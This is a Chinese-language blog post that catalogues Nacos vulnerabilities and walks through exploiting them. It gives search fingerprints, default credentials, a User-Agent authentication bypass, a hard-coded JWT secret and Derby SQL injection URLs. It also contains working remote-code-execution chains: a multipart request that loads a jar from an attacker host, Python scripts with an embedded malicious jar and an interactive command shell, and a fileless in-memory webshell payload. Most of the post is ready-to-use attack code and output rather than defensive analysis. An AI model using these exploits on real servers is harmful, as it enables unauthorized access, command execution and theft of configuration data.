发表于:2025-11-09 |

Nacos简介

Nacos 是一个由阿里巴巴开源的动态服务发现、配置管理和服务管理平台,它帮助开发者更轻松地构建、交付和管理微服务应用,实现了服务的注册发现、健康监测以及动态配置管理,让微服务架构中的服务治理与配置更新变得更加高效和灵活。

Nacos指纹信息

1
2
3
4
app="nacos" && port="8848"
icon_hash="13942501" && port="8848"
icon_hash="1227052603" && port="8848"
app="nacos" && port="8848" || icon_hash="13942501"||icon_hash="1227052603" && port="8848"

Nacos历史漏洞

版本信息泄露

信息泄露接口
1
/nacos/v1/console/server/state

默认密码

Nacos系统的默认密码为:`nacos:nacos`

登录界面:http://127.0.0.1:8848/nacos/#/login

鉴权绕过

默认未开启鉴权

`nacos.core.auth.enabled`的默认配置为false

在权限验证的AuthFilter中,!authConfigs.isAuthEnabled()在默认情况下为true,因此会跳过鉴权

直接访问/nacos/v1/auth/users?pageNo=1&pageSize=9,可以未授权查看用户信息

User-Agent权限绕过

同样的在`AuthFilter`中,除了默认未开启鉴权,后面还有UserAgent的绕过方式

doFilter方法中,会判断User-Agent头部是否以Nacos-Server开头,如果是则会跳过鉴权

1
2
3
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
Host: 127.0.0.1:8848
User-Agent: Nacos-Server

默认JWT密钥

影响版本:0.1.0<=nacos<=2.2.0

在Nacos<=2.2.0版本中,JWT密钥为默认值,因此我们可以伪造JWT,来进行未授权访问

1
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

只需要知道用户名,然后修改时间戳即可

Derby未授权访问

DerbySQL注入

影响版本:
  • 2.x < 2.4.0
  • 1.x <= 1.4.7

nacos中带有一个嵌入式的小型数据库derby,默认无需认证即可被访问,并执行任意sql查询,导致敏感信息泄露

1
/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users

Derby任意代码执行

Derby数据库的一个特性为允许加载外部java类,既然可以加载外部java类,那么就能存在任意代码执行的风险

/data/removal接口处,会接受POST请求传来的SQL语句文件,并执行里面的SQL语句。在整个处理流程中会有创建临时文件、记录数据、删除临时文件的操作,这里是为什么上传SQL代码是概率性成功的根本原因

该接口中其中关键函数为onFileUpload

对于上传SQL代码时是概率性成功的的原因,我觉得这个解释说明的很清楚了(可能是由于欠缺一些开发能力的原因,没有准确找到存在问题的代码段)

这里用了类似生产-消费者的模式:

  • 生产者会产生/tmp下的临时数据包,删除数据包的几个过程,消费者对取到的数据包进行导入数据库操作
  • 个人理解这里的消费者操作是异步的,且代码中没有看到任何锁的机制
  • 导入数据慢,删除数据快,消费者获取到的数据包很可能已经被删除了,呈现出我们直接访问接口上传恶意数据通常会报”找不到文件错误“
  • 通过大并发发包,我们产生了大量的文件句柄,使得系统在删除对应的句柄时出现了迟缓,提高了消费者在数据删除前导入数据的机会,可以让消费者成功取到几次数据,实现恶意jar包的导入、从而导致恶意函数的创建。
出网情况下
首先我们需要构造一个恶意类,将其打包成jar包,开启http服务将jar包放在可以加载到的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
package example;

public class Test {
public static void main(String[] args) {
}
public static void exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
Process p = Runtime.getRuntime().exec(cmd);
} catch (Exception var10) {
}
}
}

然后发送该数据包,加载我们的外部java类,并自定义一个函数让我们去调用恶意方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 192.168.229.1:8848
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Length: 489
Content-Type: multipart/form-data; boundary=2a262c4e7ea55d81b1906382912b7422

--2a262c4e7ea55d81b1906382912b7422
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://192.168.244.133:8000/test.jar', 'NACOS.jtZJBFpM', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.jtZJBFpM')
CREATE FUNCTION S_EXAMPLE_jtZJBFpM( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
--2a262c4e7ea55d81b1906382912b7422--

不同返回包的不同情况如下

1
2
3
4
5
6
//条件竞争失败
{"code":500,"message":"File '/tmp/file3339752271242765906.tmp' does not exist","data":null}
//竞争成功
{"code":200,"message":null,"data":""}
//多次成功
{"code":500,"message":"org.springframework.dao.DataIntegrityViolationException: StatementCallback; SQL [CALL sqlj.install_jar('http://ip:port/download', 'NACOS.hPbTQwag', 0); CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.hPbTQwag'); CREATE FUNCTION S_EXAMPLE_hPbTQwag( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec']; Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.; nested exception is java.sql.BatchUpdateException: Jar file 'HPBTQWAG' already exists in Schema 'NACOS'.","data":null}

在我们将恶意jar包加载至数据库后,我们就可以用CVE-2021-29442执行UDF函数进行RCE了

1
/nacos/v1/cs/ops/derby?sql=select+%2A+from+%28select+count%28%2A%29+as+b%2C+S_EXAMPLE_hPbTQwag%28%27whoami%27%29+as+a+from+config_info%29+tmp+%2F%2AROWS+FETCH+NEXT%2A%2F
不出网情况下
基于PROCEDURE的不出网利用
基于PROCEDURE的不出网利用方式,可以先去翻阅一下官方文档:[https://db.apache.org/derby/docs/10.14/ref/rrefexportselectionproclobs.html](https://db.apache.org/derby/docs/10.14/ref/rrefexportselectionproclobs.html)

利用SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE函数,我们向服务器中写入任意文件,但是查看官方文档,并不可以覆盖文件,因此利用面小了一些

在出网的情况下,我们需要去加载远程jar包从而RCE,现在我们可以向服务器中写入文件了,那么在不出网的情况下我们可以去写入jar包,从而加载本地jar包

payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import random
from urllib.parse import urljoin
import requests

payload = b"UEsDBBQACAgIAL1uZFsAAAAAAAAAAAAAAAAJAAQATUVUQS1JTkYv/soAAAMAUEsHCAAAAAACAAAAAAAAAFBLAwQUAAgICAC9bmRbAAAAAAAAAAAAAAAAFAAAAE1FVEEtSU5GL01BTklGRVNULk1G803My0xLLS7RDUstKs7Mz7NSMNQz4OVyLkpNLElN0XWqBAlY6BnEm5kqaPgXJSbnpCo45xcV5BcllgCVa/Jy8XIBAFBLBwgr8MjHQwAAAEQAAABQSwMECgAACAAAu25kWwAAAAAAAAAAAAAAAAgAAABleGFtcGxlL1BLAwQUAAgICAC7bmRbAAAAAAAAAAAAAAAAEgAAAGV4YW1wbGUvVGVzdC5jbGFzc21RTU/CQBScbYGFAgJiQVT8TgQOcvGG8aDRE6gRYmJMTEpdSJEWUlrDP/LMRYwm/gB/lPpaifhBD+91Z+bNzsu+vT+/AtjDtoIwshyLCiRkFeSw5JVljhWOPMcqQ2jfsAzngEEuFC8ZAke9W8GQqBqWOHXNprAbWrNLSMDUDIshU7iudrR7rdzVrHa57tiG1a74g2IodAa1MJuO1x1Nv6tpfd+OY41CUQoGpd5zbV2cGN4lkYYYOLueQQwRKHTdX7NDt9USNsd6DBvYjCGBLYb0VHU81EXfMXoUNSaGmtnvirJnypCcis6aHaH/hr7cGVJT6MK1HMOkVEpbON8HtVCs/tNUGHZmLf4DOrd7uhgMKhSb06N4nwzmbUk1Sqc8dUY9WBqDjeiHNqAa8kGZhHHMTaQ5n8V/WZBkCSQnsht6dJm6+gLpagy5+oRA6RHB2gMCtRGJwiRN06jkW2RoHH64COFRYhQsEJMiNA3pwysc85w648SQgUqUhMwnUEsHCM5bYSl8AQAAcAIAAFBLAwQUAAgICAC4bmRbAAAAAAAAAAAAAAAAEQAAAGV4YW1wbGUvVGVzdC5qYXZhdU+xDoJADN35io6wEJ2Ji4m7UTfjUErBi3Bc7gpiDP/uoafi4FvavLzX92qQLlgx8ICNqTmLItPltSKgGp2DAzuBewQegXeC4kffqgIaVDrei1W6Op4AbeWSIB7/WXhgChagpnjrJ7zYdVeWbCEvYQWarz9snGQftdjbzDtha1ti39l4567TohpOK5awxkn6zJ5Cv1dGIBQ6Q7wZiI2oVkOPdrmY9xrDR+MDUEsHCBUAwqSrAAAALAEAAFBLAQIUABQACAgIAL1uZFsAAAAAAgAAAAAAAAAJAAQAAAAAAAAAAAAAAAAAAABNRVRBLUlORi/+ygAAUEsBAhQAFAAICAgAvW5kWyvwyMdDAAAARAAAABQAAAAAAAAAAAAAAAAAPQAAAE1FVEEtSU5GL01BTklGRVNULk1GUEsBAgoACgAACAAAu25kWwAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAwgAAAGV4YW1wbGUvUEsBAhQAFAAICAgAu25kW85bYSl8AQAAcAIAABIAAAAAAAAAAAAAAAAA6AAAAGV4YW1wbGUvVGVzdC5jbGFzc1BLAQIUABQACAgIALhuZFsVAMKkqwAAACwBAAARAAAAAAAAAAAAAAAAAKQCAABleGFtcGxlL1Rlc3QuamF2YVBLBQYAAAAABQAFADIBAACOAwAAAAA="
payload = base64.b64decode(payload).hex()

def exploit(target):

removal_url = urljoin(target,"/nacos/v1/cs/ops/data/removal")
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2 ,8))
now_table = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2 ,8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ' * 2 ,8))
for i in range(1000):
post_sql = f"""
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)','/tmp/{jar_name}.dat',',' ,'"','UTF-8','/tmp/{jar_name}.jar')
CALL sqlj.install_jar('/tmp/{jar_name}.jar','NACOS.{now_id}',0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{now_id}')
CREATE PROCEDURE {now_table}(PARAM VARCHAR(200)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'example.Test.exec'
CALL {now_table}('touch /tmp/666')
""".format(payload=payload, jar_name=jar_name)
files = {'file':post_sql}
resp = requests.post(url=removal_url, files=files)
print(resp.text)
if resp.json()["code"] == 200:
print("success")
break


if __name__ == "__main__":
target = "http://127.0.0.1:8848"
exploit(target = target)

发现成功命令执行

基于FUNCTION的不出网利用
同时也是利用`SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE`函数将jar包写入服务器本地,然后加载本地jar包,最后使用derby接口使用子查询来调用UDF函数

payload的如下,原理和上面的任意代码执行类似

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import random, os
import requests
from urllib.parse import urljoin
import base64

payload = b""
payload = base64.b64decode(payload).hex()

def exploit(target):
removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
now_id = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
jar_name = ''.join(random.sample('ABCDEFGHIJKLMNOPQRSTUVWXYZ',8))
for i in range(1,10000):
post_sql = """
CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/{junk}.dat', ',' ,'"', 'UTF-8', '/tmp/{jar_name}.jar')
CALL sqlj.install_jar('/tmp/{jar_name}.jar', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'example.Test.exec'
""".format(junk=os.urandom(3).hex(),payload=payload,id=now_id,jar_name=jar_name)
files = {'file': post_sql}
post_resp = requests.post(url=removal_url,files=files)
post_json = post_resp.json()
if post_json.get('message',None) is None and post_json.get('data',None) is not None:
while True:
command = input('>>>')
get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=now_id,cmd=command)
get_resp = requests.get(url=derby_url,params={'sql':get_sql})
print(get_resp.json())
if __name__ == '__main__':
target = 'http://127.0.0.1:8848'
exploit(target=target)

这种方法的好处是,自定义函数返回值可以为String,命令执行结果可以返回给客户端

不出网-无文件落地
上面两种方式均存在文件落地的情况,很容易被监测到

以下是不出网-无文件落地 注入内存马 的payload,很常见的使用ClassLoader去加载字节码的方式,可以直接使用nacos工具一把梭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: 127.0.0.1:8847
User-Agent: Requests 5.0.3, Java 11.0.2
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
Pragma: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc2MjI2Njg1OX0.ZIfF_VoQwPlV-BIIlr0vwSYclga87MpJzcOej-Huo2o
Content-Type: multipart/form-data; boundary=********************1762228187959
Content-Length: 16583

--********************1762228187959
Content-Disposition: form-data; name="file"; filename="uojqmjwiq"
Content-Type: application/octet-stream

create type uojqmjwiqClass external name 'java.lang.Class' language java
create type uojqmjwiqObject external name 'java.lang.Object' language java
create type uojqmjwiqClassLoader external name 'java.lang.ClassLoader' language java
create function uojqmjwiq64Decode(className VARCHAR(32672)) returns VARCHAR(32672) FOR BIT DATA external name 'org.springframework.util.Base64Utils.decodeFromString' language java parameter style java
create function getuojqmjwiqmClassLoader() returns uojqmjwiqClassLoader external name 'java.lang.ClassLoader.getSystemClassLoader' language java parameter style java
create function deuojqmjwiqClass(className VARCHAR(32672),bytes VARCHAR(32672) FOR BIT DATA,loader uojqmjwiqClassLoader) returns uojqmjwiqClass external name 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)' language java parameter style java
create table injeuojqmjwiqct(v uojqmjwiqClass)
insert into injeuojqmjwiqct values (deuojqmjwiqClass('com.fasterxml.jackson.p.JSONUtil', uojqmjwiq64Decode('{payload}'), getuojqmjwiqmClassLoader()))

--********************1762228187959--

其他漏洞

除了上面的漏洞以外,还有两个不太常见的漏洞:
  • nacos snakeyaml反序列化
  • hessian反序列化

由于这两个漏洞不是很常见,反序列化部分之前有分析过,我就直接贴出漏洞文章了

NacosSnakeYaml反序列化

文章链接:[https://xz.aliyun.com/news/9803](https://xz.aliyun.com/news/9803)

NacosHessian反序列化

文章链接:[https://xz.aliyun.com/news/13761](https://xz.aliyun.com/news/13761)
下一篇:
SpringAop链